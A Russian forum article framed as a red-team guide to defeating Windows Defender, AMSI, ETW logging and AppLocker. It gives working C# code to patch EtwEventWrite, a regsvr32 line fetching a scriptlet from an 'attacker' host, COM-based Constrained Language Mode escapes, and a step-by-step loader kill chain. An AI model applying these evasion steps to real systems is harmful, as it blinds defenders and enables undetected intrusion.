

(30) Обход Windows Defender и AMSI: гайд для Red Team

 codeby.net/threads/obkhod-windows-defender-i-amsi-prakticheskii-gaid-po-defense-evasion-dlya-red-team.92763

April 22, 2026

Вы получили initial access. Beacon жив, C2-канал поднят. Через минуту MsMpEng.exe режет нагрузку, Script Block Logging пишет каждый чих в Event Log, а AppLocker не даёт запустить ничего кроме notepad.exe. Если вы работали на реальных engagement'ах - знаете это чувство, когда красивый initial access превращается в тыкву за 60 секунд.

Каждая корпоративная Windows-среда выстраивает эшелонированную защиту: статический анализ Defender, runtime-сканирование через AMSI, телеметрия ETW, политики AppLocker. Я разберу четыре эшелона и покажу, как Red Team оператор обходит каждый из них - опираясь на встроенные механизмы самой ОС - именно этот подход лежит в основе living off the land атак, которые я разобрал в [полном руководстве по LOLBAS и обходу EDR](#). Никакой магии, только знание архитектуры.

Материал для пентестеров и Red Team специалистов в рамках легальных engagement'ов. Все техники - исключительно в образовательных целях.

Архитектура защиты: четыре стены, которые надо пройти

Прежде чем ломать - нужно понять, что именно вас детектит. Windows Defender (Microsoft Defender Antivirus, MDAV) - не один монолитный процесс, а многослойная система, где каждый компонент работает независимо.

Статический движок - MsMpEng.exe, основной антивирусный сервис. Сигнатурный анализ, хеш-маппинг, ML-классификация на базе PE-фич. Сканирует файлы на диске до запуска. Что триггерит детект: известные байтовые последовательности shellcode (классический Meterpreter-стаб `\xfc\x48\x83\xe4\xf0`), подозрительные комбинации PE-импортов (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread), YARA-подобные строковые паттерны.

WdFilter.sys - kernel-mode мини-фильтр. Перехватывает файловый I/O на уровне файловой системы. Именно он не даёт просто дропнуть payload на диск - файл сканируется при записи.

AMSI ([Antimalware Scan Interface](#)) - загружается как `amsi.dll` в адресное пространство каждого процесса PowerShell, wscript, cscript, .NET-приложения. Перехватывает контент до выполнения скриптовым движком и передаёт локальному AV.

ETW (Event Tracing for Windows) - телеметрия, пишущая всё: от Script Block Logging в PowerShell до kernel-level событий через ETW Threat Intelligence provider. Именно ETW кормит данными EDR.

AppLocker - application whitelisting на уровне user-mode. Контролирует, какие исполняемые файлы, скрипты и DLL разрешено запускать.

Ключевой принцип: обход AMSI не спасёт от статического детекта. Патчинг ETW не поможет, если AppLocker блокирует запуск инструмента. Defense evasion - цепочка техник, каждая нейтрализует конкретный слой. Пропустил одно звено - и весь engagement летит к чертям.

Обход AMSI Windows: три поколения техник

AMSI - самая часто атакуемая защита Windows, и на то есть причина: она работает в user-mode, в адресном пространстве атакуемого процесса. Как отмечают исследователи CyberArk - защита функционирует на том же уровне привилегий, что и потенциально вредоносный код. Библиотека `amsi.dll` загружается в каждую PowerShell-сессию, и у кода внутри этой сессии полный доступ к памяти процесса. По сути - охранник сидит в одной камере с заключённым. Эту фундаментальную слабость эксплуатируют все техники ниже.

Классический патчинг AmsiScanBuffer и его ограничения

Самая известная техника - модификация функции `AmsiScanBuffer` (или `AmsiScanString`) прямо в памяти процесса. Находите адрес функции в загруженной `amsi.dll` через `GetProcAddress`, меняете права доступа через `VirtualProtect` на `PAGE_EXECUTE_READWRITE`, записываете байты, заставляющие функцию немедленно вернуть `S_OK`.

Немного истории. Оригинальный AMSI bypass (Matt Graeber, 2016) манипулировал полем `amsiInitFailed` в классе `AmsiUtils` через .NET reflection - PowerShell считал AMSI неинициализированным (подход описан CyberArk). Позднее Tal Liberman (CyberArk, 2017) и Rastamouse (2018) предложили патчинг опкодов `AmsiScanBuffer`: перезапись первых байт функции короткой последовательностью, заставляющей её вернуть управление без сканирования.

На практике простой `xor eax, eax; ret (31 C0 C3, 3 байта)` недостаточен - PowerShell проверяет out-параметр `result`, а не только `HRESULT`. Рабочие варианты либо записывают `AMSI_RESULT_CLEAN (0)` по указателю `result` и возвращают `S_OK`, либо возвращают `E_INVALIDARG (0x80070057)`, заставляя PowerShell пропустить проверку результата. Такой патч занимает больше 3 байт (например, `mov dword ptr [r9], 0; xor eax, eax; ret`).

На реальных engagement'ах понадобится обфускация строк, динамическое разрешение адресов через хеширование имён API - а лучше переход на техники следующего поколения.

Принципиальная проблема классического патчинга - он модифицирует секцию `.text` библиотеки `amsi.dll`. EDR сравнивает `.text` секцию в памяти с файлом на диске и видит расхождение. Грубо говоря, вы оставляете отпечатки пальцев прямо на месте преступления.

Hardware breakpoints: bypass Windows Defender PowerShell без модификации памяти

Hardware breakpoints используют аппаратные отладочные регистры процессора (DR0–DR3) вместо записи в память. Устанавливаете hardware breakpoint на адрес `AmsiScanBuffer`, регистрируете Vectored Exception Handler (VEH) через `AddVectoredExceptionHandler`, и когда AMSI вызывает функцию - срабатывает исключение `SINGLE_STEP`. Ваш VEH перехватывает его и манипулирует возвращаемым значением: ставит `RAX` в `S_0K` и `RIP` на адрес возврата.

Как отмечает `Oxdbgman`, эта техника эффективнее классического патчинга: hardware breakpoints не оставляют следов модификации в секции `.text`. CPU debug registers не видны при стандартном memory scanning - чтобы их обнаружить, нужно явно читать контекст потока через `GetThreadContext`.

Конкретика: через `P/Invoke` вызываете `SetThreadContext` с установленным DR0 на адрес `AmsiScanBuffer` и DR7: `L0=1` (локальный enable), `R/W0=00` (execute), `LEN0=00` (обязательно 00 для execute-BP, Intel SDM Vol.3B §17.2.4). В обработчике VEH проверяете, что исключение произошло по нужному адресу, и подменяете контекст регистров. AMSI «отработала», но сканирование фактически не произошло. Это рабочий AMSI bypass PowerShell 2024 года на актуальных билдах.

AMSI Write Raid: writable entry без VirtualProtect

В мае 2024 года исследователь OffSec Виктор Хури (Victor "Vixx" Khoury) опубликовал технику AMSI Write Raid. Уязвимость передана Microsoft 8 апреля 2024 года. Мне эта техника нравится больше остальных - элегантная и неожиданная.

Суть: внутри `System.Management.Automation.dll` (ядро PowerShell) CLR генерирует `P/Invoke` thunk для вызова нативной `AmsiScanBuffer` из managed-кода. Этот thunk содержит указатель на целевую функцию и остаётся writable из-за особенностей заполнения через `NDirectMethodDesc::SetNDirectTarget`. В нормальной ситуации такие указатели должны быть read-only - как записи в Import Address Table. Но CLR оставил дверь открытой.

По данным OffSec, техника работает на PowerShell 5.1 и PowerShell 7.4 на актуальных билдах Windows 11. Смещение записи относительно базы `System.Management.Automation.ni.dll` вычисляется через WinDbg: нужно проследить цепочку из трёх `mov`-инструкций перед `call rax` (который и есть вызов `AmsiScanBuffer`). Атакующий перезаписывает указатель адресом `dummy`-функции - и AMSI вызывает заглушку вместо реального сканера.

Принципиальное отличие Write Raid: вы не патчите код функции, не меняете защиту страниц, не вызываете `VirtualProtect` (который мониторится EDR). Вы меняете данные - указатель на функцию - в области памяти, которая уже `writable`. Для EDR это выглядит как обычная запись в данные, а не как подозрительная модификация кода.

Отключение AMSI без прав администратора

Все описанные техники работают без прав администратора. AMSI загружается в `user-space` процесса, и атакующий, запустивший PowerShell от своего пользователя, имеет полный доступ к адресному пространству этого процесса. `SeDebugPrivilege` не нужна.

Отдельно стоит упомянуть `debug-based` подход: запуск `powershell.exe` как дочернего процесса с флагом `CREATE_SUSPENDED`, подключение отладчиком через `DebugActiveProcess`, перехват `LOAD_DLL_DEBUG_EVENT` при загрузке `amsi.dll` и патчинг до инициализации AMSI. Родительский процесс автоматически получает `PROCESS_ALL_ACCESS` на дочерний - дополнительных привилегий не требуется при равном или более высоком `integrity level`. В `AppContainer` или `Low IL` сценариях потребуются дополнительные права.

[ETW patching: обход логирования и телеметрии Windows](#)

Допустим, вы обошли AMSI и Defender не видит `payload`. ETW продолжает писать телеметрию. `Script Block Logging`, `Module Logging`, события `.NET runtime` - всё идёт через ETW providers и доступно EDR. Для полноценной `defense evasion` на Windows нужно нейтрализовать и этот канал.

ETW - три компонента: провайдеры (инструментированные точки в коде Windows и приложений), сессии (буферы в ядре, собирающие события), потребители (приложения, читающие буферы). По данным `vaadata`, ETW изначально создавался для отладки, но со временем стал основным источником данных для `security-решений`. Типичная история мелкософта - отладочный механизм вырос в краеугольный камень безопасности.

Критический провайдер - **ETW Threat Intelligence** (`Microsoft-Windows-Threat-Intelligence`). Работает в `kernel-mode`: функции ядра (например,

MiReadWriteVirtualMemory → EtwTiLogReadWriteVm) генерируют телеметрию для подозрительных операций - VirtualAlloc/Protect, ReadWriteVirtualMemory, SetThreadContext, MapViewOfSection, QueueUserApc и др. Этот провайдер из user-mode не нейтрализуешь - он живёт в ядре, и точка.

Зато для script block logging bypass достаточно пропатчить EtwEventWrite в ntdll.dll текущего процесса. Концепция аналогична AMSI-патчингу:

C#:

```
// ETW patching - пример для демонстрации концепции
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Перезаписываем первые 3 байта пролога: xor eax,eax; ret (возвращает ERROR_SUCCESS
// Примечание: опкоды 0x31 0xC0 и 0x33 0xC0 - обе формы кодирования xor eax,eax (x86
// На ARM64 Windows нужны другие опкоды: mov w0, #0; ret (00 00 80 52 C0 03 5F D6).
VirtualProtect(etwAddr, 3, 0x40, out var old);
Marshal.Copy(new byte[] { 0x31, 0xC0, 0xC3 }, 0, etwAddr, 3);
VirtualProtect(etwAddr, 3, old, out _);
```

Три байта - и большинство ETW-событий из текущего процесса замолкают. Но есть нюанс: PowerShell Script Block Logging использует EtwEventWriteTransfer (через .NET ETW wrapper), поэтому для его нейтрализации нужно дополнительно пропатчить EtwEventWriteTransfer либо использовать reflection-based подход.

Разница между EtwEventWrite, EtwEventWriteFull и EtwEventWriteTransfer важна на уровне байт-патчей. Первая - основной вызов для большинства провайдеров. Вторая добавляет расширенные поля (ActivityId, RelatedActivityId). Третья используется .NET ETW wrapper'ом и PowerShell Script Block Logging. Патчинг EtwEventWrite покрывает многие случаи, но для полного подавления телеметрии PowerShell необходимо пропатчить и EtwEventWriteTransfer. Если целевое EDR использует EtwEventWriteFull - патчьте все три, не жадничайте.

Порядок операций критичен: сначала патч ETW, затем AMSI bypass, затем payload. Перепутаете - Script Block Logging запишет ваш bypass-код до того, как ETW будет нейтрализован. На одном engagement коллега сделал ровно эту ошибку - AMSI bypass красиво отработал, а SOC уже читал его код в логах.

Обход AppLocker встроенными средствами Windows

AppLocker контролирует запуск исполняемых файлов (.exe), скриптов (.ps1, .bat, .vbs), установщиков (.msi) и DLL. В теории должен ограничить атакующего набором разрешённых приложений. На практике - default rules и LOLBins делают обход AppLocker встроенными средствами почти тривиальным.

Требования к окружению

Для практики понадобится: Windows 10/11 Enterprise или Server 2016+ (AppLocker недоступен в Home/Pro), включённая служба AppIDSvc, настроенные правила через GPO. Работайте в лабораторной среде.

Разведка правил и LOLBins для обхода

Первый шаг - понять конфигурацию. Правила хранятся в реестре по пути HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 - ключи Exe, Msi, Script, Dll, Appx содержат XML с правилами. Командлет Get-AppLockerPolicy -Effective -Xml выдаст полный набор, если вы не в Constrained Language Mode. В доменной среде правила лежат в SYSVOL как часть GPO.

DLL-правила в AppLocker по умолчанию не включены. Как отмечает 0xdbgman, администраторы редко их активируют из-за performance overhead. А значит, загрузка DLL через rundll32 работает даже при жёстких правилах для .exe. Типичная дыра в конфигурации, которую я вижу на каждом втором engagement'e.

LOLBins (Living Off the Land Binaries) - подписанные Microsoft бинарники, способные выполнять произвольный код. Default rules AppLocker разрешают всё из C:\Windows\ и C:\Program Files\, а LOLBins живут именно там.

MSBuild.exe (C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe) - техника Trusted Developer Utilities: MSBuild ([T1127.001, Defense Evasion](#)). Компилирует и выполняет C# из .csproj-файла с inline task. AppLocker видит запуск доверенного MSBuild - правила не срабатывают, а ваш payload выполняется внутри легитимного процесса.

InstallUtil.exe (тот же путь .NET Framework) - техника System Binary Proxy Execution: InstallUtil (T1218.004, Defense Evasion). Класс, помеченный [System.ComponentModel.RunInstaller(true)] и наследующий System.Configuration.Install.Installer, выполняет Install() при обычном запуске и Uninstall() при флаге /U. Флаг /U используется для обхода поведенческих правил, настроенных на install-операции.

Regsvr32.exe - техника Signed Binary Proxy Execution: Regsvr32 ([T1218.010, Defense Evasion](#)). Загружает COM scriptlets с удалённого сервера: regsvr32 /s /n /u /i:http://attacker/file.sct scrobj.dll. Трафик по HTTP/HTTPS, AppLocker видит только подписанный regsvr32.exe.

Ещё один вектор - writable paths внутри C:\Windows\. Утилита accesschk.exe -uwqs Users C:\Windows\ покажет директории, куда обычный пользователь может писать: C:\Windows\Tasks, C:\Windows\Temp, C:\Windows\tracing. Дропаете payload в writable path - AppLocker разрешает запуск, потому что путь попадает под allow rule.

Обход Constrained Language Mode через COM-объекты

Когда AppLocker включён, PowerShell переключается в Constrained Language Mode (CLM), ограничивая доступ к .NET-типам и COM-объектам. Проверить режим: `$ExecutionContext.SessionState.LanguageMode`.

Обход через COM: объект `WScript.Shell` доступен даже в CLM и позволяет выполнять произвольные команды. Продвинутый вариант - регистрация собственного COM-сервера через HKCU (не требует admin): генерируете CLSID, прописываете путь к DLL в HKCU\Software\Classes\CLSID\{guid}\InprocServer32, загружаете через COM-вызов. Нативная DLL выполняется вне PowerShell language layer, CLM на неё не распространяется.

Но есть оговорка: при включённом WDAC (UMCI) загрузка неподписанной COM DLL блокируется. И в CLM `New-Object -ComObject` разрешает только whitelisted типы - для произвольных CLSID нужны альтернативные активаторы.

Defense evasion техники Windows: собираем kill chain

Теперь собираем всё в рабочую цепочку. Сценарий: рабочая станция Windows 11, Defender включён, AppLocker в Enforce mode, ETW пишет в SIEM.

Шаг 1 - доставка через LOLBin. Payload приходит как .csproj (MSBuild inline task) или .sct (Regsvr32 scriptlet). AppLocker не блокирует. К payload применяется [Obfuscated Files or Information](#) (T1027, Defense Evasion по MITRE ATT&CK) - строки зашифрованы, shellcode закодирован.

Шаг 2 - ETW patch. Первое действие ладера - патч `EtwEventWrite` в `ntdll.dll`. Три байта (`xor eax, eax; ret, x86/x64`) на начало функции. Телеметрия из процесса замолкает.

Шаг 3 - AMSI bypass. Патчинг `AmsiScanBuffer` или hardware breakpoint - зависит от EDR. Стоит продвинутый агент, мониторящий VirtualProtect на `amsi.dll` - берите hardware breakpoints или Write Raid.

Шаг 4 - in-memory execution. Payload загружается рефлексивно без записи на диск. Reflective DLL injection или .NET Assembly loading через `Assembly.Load()` из зашифрованного массива байт.

Шаг 5 - sleep obfuscation. Между callback'ами beacon шифрует себя в памяти. Техники Ekko (ROP-based timer queue encryption), Foliage (APC-based), Cronos (NtContinue-based) - memory scanner во время sleep видит зашифрованные байты вместо shellcode.

Концептуальный пример порядка операций (в реальном engagement адаптируйте под свой tooling):

C#:

```
// Порядок операций ладера - пример для демонстрации
// 1. Патч ETW - ДО любого подозрительного действия
PatchEtw(); // ntdll!EtwEventWrite → xor eax,eax; ret (0x31 0xC0 0xC3, x86/x64)

// 2. Патч AMSI - ДО загрузки .NET payload
PatchAmsi(); // amsi!AmsiScanBuffer → hardware BP

// 3. Расшифровка и рефлексивная загрузка
byte[] raw = Decrypt(encryptedBlob, key);
Assembly.Load(raw).EntryPoint.Invoke(null, args);
```

Порядок «ETW → AMSI → payload» - не рекомендация, а требование. Нарушите - первые команды попадут в логи до нейтрализации телеметрии. Но Event Log — это уже не черновик, а чистовик для разбора полётов.

Что видит blue team и где вас могут спалить

Обход антивируса встроенными инструментами Windows не равен полной невидимости. Вот что может выдать даже грамотного оператора:

Sysmon Event ID 7 (Image Loaded) фиксирует загрузку DLL. Нестандартная DLL в процессе PowerShell - красный флаг для SOC. Если аналитик не спит - он это увидит.

ETW Threat Intelligence provider работает в kernel-mode и не затрагивается user-mode патчингом EtwEventWrite. Если EDR подписан на kernel ETW, inter-process memory операции останутся видны. Это тот самый слой, который из user-mode не достать.

Memory integrity checks - продвинутые EDR периодически сравнивают .text секции критических DLL (amsi.dll, ntdll.dll) с эталоном на диске. Классический патчинг детектится именно так. Hardware breakpoints и Write Raid обходят эту проверку, но и у них есть свои слабые места - GetThreadContext для первых, мониторинг записи в thunk-таблицы для второго.

Полная невидимость - миф. Задача оператора не в том, чтобы быть невидимым, а в том, чтобы утонуть в потоке легитимных событий. Чем больше ваши действия

похожи на нормальную работу системы, тем дольше вы проживёте на хосте.

Попробуйте собрать описанную цепочку в лабе - Windows 11, Defender включён, Sysmon настроен. Запустите, проверьте, что попало в логи, а что нет. Это лучший способ понять, где ваш bypass реально работает, а где вы себя обманываете.

Вопрос к читателям

Коллеги, кто работал с техникой AMSI Write Raid (OffSec, май 2024) на актуальных билдах Windows 11 с PowerShell 7.4 - как вы вычисляли смещение writable-указателя в `System.Management.Automation.ni.dll` в условиях ASLR? Статья описывает трассировку цепочки из трёх `mov`-инструкций перед `call` `rax` через WinDbg, но на разных билдах (например, 22H2 vs 23H2) смещение гуляет. Вы автоматизировали поиск через `!dumpmodule + u` с паттерн-матчингом, или писали скрипт на `pykd/WinDbg JS`, который ищет сигнатуру `48 8B ? ? ? ? ? FF D0` в `.text` секции? И второй вопрос: при каком integrity level у вас ломался VEH-подход с hardware breakpoints на `DR0` - только в AppContainer или уже на Medium IL с включённым Protected Process Light для `powershell.exe`?

Последнее редактирование: